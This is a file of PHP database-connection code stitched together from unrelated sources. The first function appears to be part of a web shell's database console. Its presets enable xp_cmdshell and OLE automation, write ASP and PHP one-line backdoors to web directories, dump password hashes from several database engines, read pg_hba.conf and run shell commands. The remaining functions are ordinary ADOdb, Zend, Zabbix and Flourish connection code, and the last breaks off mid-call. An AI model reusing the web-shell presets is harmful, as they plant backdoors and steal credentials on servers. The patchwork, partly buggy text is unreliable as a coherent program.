function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : ''; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data"> <div class="actall"><a href="?s=w">   psotgresql  </a> <a href="?s=w&db=ms">   mssql  </a> <a href="?s=w&db=ora">   oracle  </a> <a href="?s=w&db=ifx">   informix  </a> <a href="?s=w&db=fb">   firebird  </a> <a href="?s=w&db=db2">  db2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <form method="POST" name="msform" action="?s=w&db=ms"> <div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select @@version;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select name from sysobject where type='U';"; Str[4] = "select name from syscolumns where id=Object_Id('table_name');"; Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; Str[10] = "Exec master.dbo.xp_cmdshell 'net user';"; Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; msform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">add sp_oacreate</option> \t<option value="6">add xp_cmdshell</option> \t<option value="7">add xp_cmdshell(2005)</option> <option value="8">add sp_oacreate(2005)</option> <option value="9">open openrowset(2005)</option> <option value="10">xp_cmdshell exec</option> <option value="10">sp_oamethod exec</option> <option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$msrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=w&db=ora"> <div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br> <script language="javascript"> function oraFull(i){ \tStr = new Array(8); Str[0] = ""; \tStr[1] = "select version();"; Str[2] = "show databases;"; Str[3] = "show tables from db_name;"; Str[4] = "show columns from table_name;"; Str[5] = "select user,password from mysql.user;"; \tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);"; \tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">load_file</option> \t<option value="7">into outfile</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$orarow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=w&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br> <script language="javascript"> function ifxFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select tabname from systables;"; Str[4] = "select colname from syscolumns where tabid=n;"; Str[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">dbservername</option> <option value="1">databases</option> <option value="2">tables</option> <option value="3">columns</option> <option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult); echo "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$ifxrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=w&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br> <script language="javascript"> function db2Full(i){ \tStr = new Array(4); Str[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; Str[2] = "select name from sysibm.systables;"; Str[3] = "select colname from syscat.columns where tabname='table_name';"; Str[4] = "db2 get db cfg for db_name;"; \tdb2form.db2sql.value = Str[i]; \treturn true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">databases</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">db config</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;"; $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result); echo "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$db2row[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=w&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ \tStr = new Array(5); Str[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; Str[3] = "input 'D:\\createtable.sql';"; Str[4] = "shell netstat -an;"; \tfbform.fbsql.value = Str[i]; \treturn true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">import sql</option> <option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$fbrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ibase_free_result($fbresult); ibase_close(); } } else { $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print <<<END <form method="POST" name="pgform" action="?s=w"> <div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;"> User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px"> Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px"> Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br> <script language="javascript"> function pgFull(i){ \tStr = new Array(7); \tStr[0] = ""; Str[1] = "select version();"; Str[2] = "select datname from pg_database;"; Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;"; Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; Str[5] = "select usename,passwd from pg_shadow;"; \tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; \tpgform.pgsql.value = Str[i]; \treturn true; } </script> <textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br> <select onchange="return pgFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">pg_hb.conf</option> </select> <input type="hidden" name="action" value="pgquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($pgaction == 'pgquery') { $pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error()); $pgrow = pg_fetch_row($pgresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; pg_result_seek($pgresult, 0); while ($pgrow = pg_fetch_row($pgresult)) { echo "<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$pgrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; pg_free_result($pgresult); pg_close(); } } }
function _connect($argDSN, $argUsername, $argPassword, $argDatabasename) { global $php_errormsg; if (!function_exists('db2_connect')) { ADOConnection::outp("Warning: The old ODBC based DB2 driver has been renamed 'odbc_db2'. This ADOdb driver calls PHP's native db2 extension which is not installed."); return null; } // This needs to be set before the connect(). // Replaces the odbc_binmode() call that was in Execute() ini_set('ibm_db2.binmode', $this->binmode); if ($argDatabasename && empty($argDSN)) { if (stripos($argDatabasename,'UID=') && stripos($argDatabasename,'PWD=')) $this->_connectionID = db2_connect($argDatabasename,null,null); else $this->_connectionID = db2_connect($argDatabasename,$argUsername,$argPassword); } else { if ($argDatabasename) $schema = $argDatabasename; if (stripos($argDSN,'UID=') && stripos($argDSN,'PWD=')) $this->_connectionID = db2_connect($argDSN,null,null); else $this->_connectionID = db2_connect($argDSN,$argUsername,$argPassword); } if (isset($php_errormsg)) $php_errormsg = ''; // For db2_connect(), there is an optional 4th arg. If present, it must be // an array of valid options. So far, we don't use them. $this->_errorMsg = @db2_conn_errormsg(); if (isset($this->connectStmt)) $this->Execute($this->connectStmt); if ($this->_connectionID && isset($schema)) $this->Execute("SET SCHEMA=$schema"); return $this->_connectionID != false; }
/** * @group zf3469 */ public function testConnectReturnsConnectionWhenResourceSet() { $resource = db2_connect($this->variables['database'], $this->variables['username'], $this->variables['password']); $connection = new Connection(array()); $connection->setResource($resource); $this->assertSame($connection, $connection->connect()); $connection->disconnect(); unset($connection); unset($resource); }
/** * Creates global database connection. * * @param string $error returns a message in case of an error * @param bool $debug turns On or Off trace calls when making connections. Suggested debug mode Off during Zabbix setup * * @return bool */ function DBconnect(&$error) { global $DB; if (isset($DB['DB'])) { $error = _('Cannot create another database connection.'); return false; } $result = true; $DB['DB'] = null; // global db handler $DB['TRANSACTIONS'] = 0; // level of a nested transation $DB['TRANSACTION_NO_FAILED_SQLS'] = true; // true - if no statements failed in transaction, false - there are failed statements $DB['SELECT_COUNT'] = 0; // stats $DB['EXECUTE_COUNT'] = 0; if (!isset($DB['TYPE'])) { $error = 'Unknown database type.'; $result = false; } else { $DB['TYPE'] = strtoupper($DB['TYPE']); switch ($DB['TYPE']) { case ZBX_DB_MYSQL: $DB['DB'] = @mysqli_connect($DB['SERVER'], $DB['USER'], $DB['PASSWORD'], $DB['DATABASE'], $DB['PORT']); if (!$DB['DB']) { $error = 'Error connecting to database: ' . trim(mysqli_connect_error()); $result = false; } else { DBexecute('SET NAMES utf8'); } if ($result) { $dbBackend = new MysqlDbBackend(); } break; case ZBX_DB_POSTGRESQL: $pg_connection_string = (!empty($DB['SERVER']) ? 'host=\'' . pg_connect_escape($DB['SERVER']) . '\' ' : '') . 'dbname=\'' . pg_connect_escape($DB['DATABASE']) . '\' ' . (!empty($DB['USER']) ? 'user=\'' . pg_connect_escape($DB['USER']) . '\' ' : '') . (!empty($DB['PASSWORD']) ? 'password=\'' . pg_connect_escape($DB['PASSWORD']) . '\' ' : '') . (!empty($DB['PORT']) ? 'port=' . pg_connect_escape($DB['PORT']) : ''); $DB['DB'] = @pg_connect($pg_connection_string); if (!$DB['DB']) { $error = 'Error connecting to database.'; $result = false; } else { $schemaSet = DBexecute('SET search_path = ' . zbx_dbstr($DB['SCHEMA'] ? $DB['SCHEMA'] : 'public'), true); if (!$schemaSet) { clear_messages(); $error = pg_last_error(); $result = false; } else { if (false !== ($pgsql_version = pg_parameter_status('server_version'))) { if ((int) $pgsql_version >= 9) { // change the output format for values of type bytea from hex (the default) to escape DBexecute('SET bytea_output = escape'); } } } } if ($result) { $dbBackend = new PostgresqlDbBackend(); } break; case ZBX_DB_ORACLE: $connect = ''; if (!empty($DB['SERVER'])) { $connect = '//' . $DB['SERVER']; if ($DB['PORT'] != '0') { $connect .= ':' . $DB['PORT']; } if ($DB['DATABASE']) { $connect .= '/' . $DB['DATABASE']; } } $DB['DB'] = @oci_connect($DB['USER'], $DB['PASSWORD'], $connect); if ($DB['DB']) { DBexecute('ALTER SESSION SET NLS_NUMERIC_CHARACTERS=' . zbx_dbstr('. ')); } else { $ociError = oci_error(); $error = 'Error connecting to database: ' . $ociError['message']; $result = false; } if ($result) { $dbBackend = new OracleDbBackend(); } break; case ZBX_DB_DB2: $connect = ''; $connect .= 'DATABASE=' . $DB['DATABASE'] . ';'; $connect .= 'HOSTNAME=' . $DB['SERVER'] . ';'; $connect .= 'PORT=' . $DB['PORT'] . ';'; $connect .= 'PROTOCOL=TCPIP;'; $connect .= 'UID=' . $DB['USER'] . ';'; $connect .= 'PWD=' . $DB['PASSWORD'] . ';'; $DB['DB'] = @db2_connect($connect, $DB['USER'], $DB['PASSWORD']); if (!$DB['DB']) { $error = 'Error connecting to database: ' . db2_conn_errormsg(); $result = false; } else { $options = array('db2_attr_case' => DB2_CASE_LOWER); db2_set_option($DB['DB'], $options, 1); if (isset($DB['SCHEMA']) && $DB['SCHEMA'] != '') { DBexecute('SET CURRENT SCHEMA=' . zbx_dbstr($DB['SCHEMA'])); } } if ($result) { $dbBackend = new Db2DbBackend(); } break; case ZBX_DB_SQLITE3: if (file_exists($DB['DATABASE'])) { init_sqlite3_access(); lock_sqlite3_access(); try { $DB['DB'] = @new SQLite3($DB['DATABASE'], SQLITE3_OPEN_READWRITE); } catch (Exception $e) { $error = 'Error connecting to database.'; $result = false; } unlock_sqlite3_access(); } else { $error = 'Missing database'; $result = false; } if ($result) { $dbBackend = new SqliteDbBackend(); } break; default: $error = 'Unsupported database'; $result = false; } } if ($result && !$dbBackend->checkDbVersion()) { $error = $dbBackend->getError(); $result = false; } if (false == $result) { $DB['DB'] = null; } return $result; }
/** * This function opens a connection using the data source provided. * * @access public * @override * @throws Throwable_Database_Exception indicates that there is problem with * opening the connection * * @see http://www.php.net/manual/en/function.db2-connect.php * @see http://www.php.net/manual/en/function.db2-conn-error.php * @see http://www.zinox.com/node/132 * @see http://www.ibm.com/developerworks/data/library/techarticle/dm-0505furlong/ */ public function open() { if (!$this->is_connected()) { $connection_string = 'DRIVER={IBM DB2 ODBC DRIVER};'; $connection_string .= 'DATABASE=' . $this->data_source->database . ';'; $connection_string .= 'HOSTNAME=' . $this->data_source->host . ';'; $connection_string .= 'PORT=' . $this->data_source->port . ';'; $connection_string .= 'PROTOCOL=TCPIP;'; $connection_string .= 'UID=' . $this->data_source->username . ';'; $connection_string .= 'PWD=' . $this->data_source->password . ';'; $this->resource = $this->data_source->is_persistent() ? @db2_pconnect($connection_string, '', '') : @db2_connect($connection_string, '', ''); if ($this->resource === FALSE) { throw new Throwable_Database_Exception('Message: Failed to establish connection. Reason: :reason', array(':reason' => @db2_conn_error())); } // "To use UTF-8 when talking to a DB2 instance, use the following command from the DB2 home at the command prompt: db2set DB2CODEPAGE=1208" } }
/** * Connects to the database specified, if no connection exists * * This method is only intended to force a connection, all operations that * require a database connection will automatically call this method. * * @throws fAuthorizationException When the username and password are not accepted * * @return void */ public function connect() { // Don't try to reconnect if we are already connected if ($this->connection) { return; } $connection_error = FALSE; $authentication_error = FALSE; $database_error = FALSE; $errors = NULL; // Establish a connection to the database if ($this->extension == 'pdo') { $username = $this->username; $password = $this->password; $options = array(); if ($this->timeout !== NULL && $this->type != 'sqlite' && $this->type != 'mssql') { $options[PDO::ATTR_TIMEOUT] = $this->timeout; } if ($this->type == 'db2') { if ($this->host === NULL && $this->port === NULL) { $dsn = 'ibm:DSN:' . $this->database; } else { $dsn = 'ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=' . $this->database . ';HOSTNAME=' . $this->host . ';'; $dsn .= 'PORT=' . ($this->port ? $this->port : 60000) . ';'; $dsn .= 'PROTOCOL=TCPIP;UID=' . $username . ';PWD=' . $password . ';'; if ($this->timeout !== NULL) { $dsn .= 'CONNECTTIMEOUT=' . $this->timeout . ';'; } $username = NULL; $password = NULL; } } elseif ($this->type == 'mssql') { $separator = fCore::checkOS('windows') ? ',' : ':'; $port = $this->port ? $separator . $this->port : ''; $driver = fCore::checkOs('windows') ? 'mssql' : 'dblib'; $dsn = $driver . ':host=' . $this->host . $port . ';dbname=' . $this->database; // This driver does not support timeouts so we fake it here if ($this->timeout !== NULL) { fCore::startErrorCapture(); $resource = fsockopen($this->host, $this->port ? $this->port : 1433, $errno, $errstr, $this->timeout); $errors = fCore::stopErrorCapture(); if ($resource !== FALSE) { fclose($resource); } } } elseif ($this->type == 'mysql') { if (substr($this->host, 0, 5) == 'sock:') { $dsn = 'mysql:unix_socket=' . substr($this->host, 5) . ';dbname=' . $this->database; } else { $port = $this->port ? ';port=' . $this->port : ''; $dsn = 'mysql:host=' . $this->host . ';dbname=' . $this->database . $port; } } elseif ($this->type == 'oracle') { $port = $this->port ? ':' . $this->port : ''; $dsn = 'oci:dbname=' . $this->host . $port . '/' . $this->database . ';charset=AL32UTF8'; // This driver does not support timeouts so we fake it here if ($this->timeout !== NULL) { fCore::startErrorCapture(); $resource = fsockopen($this->host, $this->port ? $this->port : 1521, $errno, $errstr, $this->timeout); $errors = fCore::stopErrorCapture(); if ($resource !== FALSE) { fclose($resource); } } } elseif ($this->type == 'postgresql') { $dsn = 'pgsql:dbname=' . $this->database; if ($this->host && $this->host != 'sock:') { $dsn .= ' host=' . $this->host; } if ($this->port) { $dsn .= ' port=' . $this->port; } } elseif ($this->type == 'sqlite') { $dsn = 'sqlite:' . $this->database; } try { if ($errors) { $this->connection = FALSE; } else { $this->connection = new PDO($dsn, $username, $password, $options); if ($this->type == 'mysql') { $this->connection->setAttribute(PDO::MYSQL_ATTR_DIRECT_QUERY, 1); } } } catch (PDOException $e) { $this->connection = FALSE; $errors = $e->getMessage(); } } if ($this->extension == 'sqlite') { $this->connection = sqlite_open($this->database); } if ($this->extension == 'ibm_db2') { $username = $this->username; $password = $this->password; if ($this->host === NULL && $this->port === NULL && $this->timeout === NULL) { $connection_string = $this->database; } else { $connection_string = 'DATABASE=' . $this->database . ';HOSTNAME=' . $this->host . ';'; $connection_string .= 'PORT=' . ($this->port ? $this->port : 60000) . ';'; $connection_string .= 'PROTOCOL=TCPIP;UID=' . $this->username . ';PWD=' . $this->password . ';'; if ($this->timeout !== NULL) { $connection_string .= 'CONNECTTIMEOUT=' . $this->timeout . ';'; } $username = NULL; $password = NULL; } $options = array('autocommit' => DB2_AUTOCOMMIT_ON, 'DB2_ATTR_CASE' => DB2_CASE_LOWER); $this->connection = db2_connect($connection_string, $username, $password, $options); if ($this->connection === FALSE) { $errors = db2_conn_errormsg(); } } if ($this->extension == 'mssql') { if ($this->timeout !== NULL) { $old_timeout = ini_get('mssql.connect_timeout'); ini_set('mssql.connect_timeout', $this->timeout); } fCore::startErrorCapture(); $separator = fCore::checkOS('windows') ? ',' : ':'; if (!$this->persistent) { $this->connection = mssql_connect($this->port ? $this->host . $separator . $this->port : $this->host, $this->username, $this->password, TRUE); } else { $this->connection = mssql_pconnect($this->port ? $this->host . $separator . $this->port : $this->host, $this->username, $this->password); } if ($this->connection !== FALSE && mssql_select_db($this->database, $this->connection) === FALSE) { $this->connection = FALSE; } $errors = fCore::stopErrorCapture(); if ($this->timeout !== NULL) { ini_set('mssql.connect_timeout', $old_timeout); } } if ($this->extension == 'mysql') { if ($this->timeout !== NULL) { $old_timeout = ini_get('mysql.connect_timeout'); ini_set('mysql.connect_timeout', $this->timeout); } if (substr($this->host, 0, 5) == 'sock:') { $host = substr($this->host, 4); } elseif ($this->port) { $host = $this->host . ':' . $this->port; } else { $host = $this->host; } fCore::startErrorCapture(); $this->connection = mysql_connect($host, $this->username, $this->password, TRUE); $errors = fCore::stopErrorCapture(); if ($this->connection !== FALSE && mysql_select_db($this->database, $this->connection) === FALSE) { $errors = 'Unknown database'; $this->connection = FALSE; } if ($this->connection && function_exists('mysql_set_charset') && !mysql_set_charset('utf8', $this->connection)) { throw new fConnectivityException('There was an error setting the database connection to use UTF-8'); } if ($this->timeout !== NULL) { ini_set('mysql.connect_timeout', $old_timeout); } } if ($this->extension == 'mysqli') { $this->connection = mysqli_init(); if ($this->timeout !== NULL) { mysqli_options($this->connection, MYSQLI_OPT_CONNECT_TIMEOUT, $this->timeout); } fCore::startErrorCapture(); if (substr($this->host, 0, 5) == 'sock:') { $result = mysqli_real_connect($this->connection, 'localhost', $this->username, $this->password, $this->database, $this->port, substr($this->host, 5)); } elseif ($this->port) { $result = mysqli_real_connect($this->connection, $this->host, $this->username, $this->password, $this->database, $this->port); } else { $result = mysqli_real_connect($this->connection, $this->host, $this->username, $this->password, $this->database); } if (!$result) { $this->connection = FALSE; } $errors = fCore::stopErrorCapture(); if ($this->connection && function_exists('mysqli_set_charset') && !mysqli_set_charset($this->connection, 'utf8')) { throw new fConnectivityException('There was an error setting the database connection to use UTF-8'); } } if ($this->extension == 'oci8') { fCore::startErrorCapture(); $resource = TRUE; // This driver does not support timeouts so we fake it here if ($this->timeout !== NULL) { $resource = fsockopen($this->host, $this->port ? $this->port : 1521, $errno, 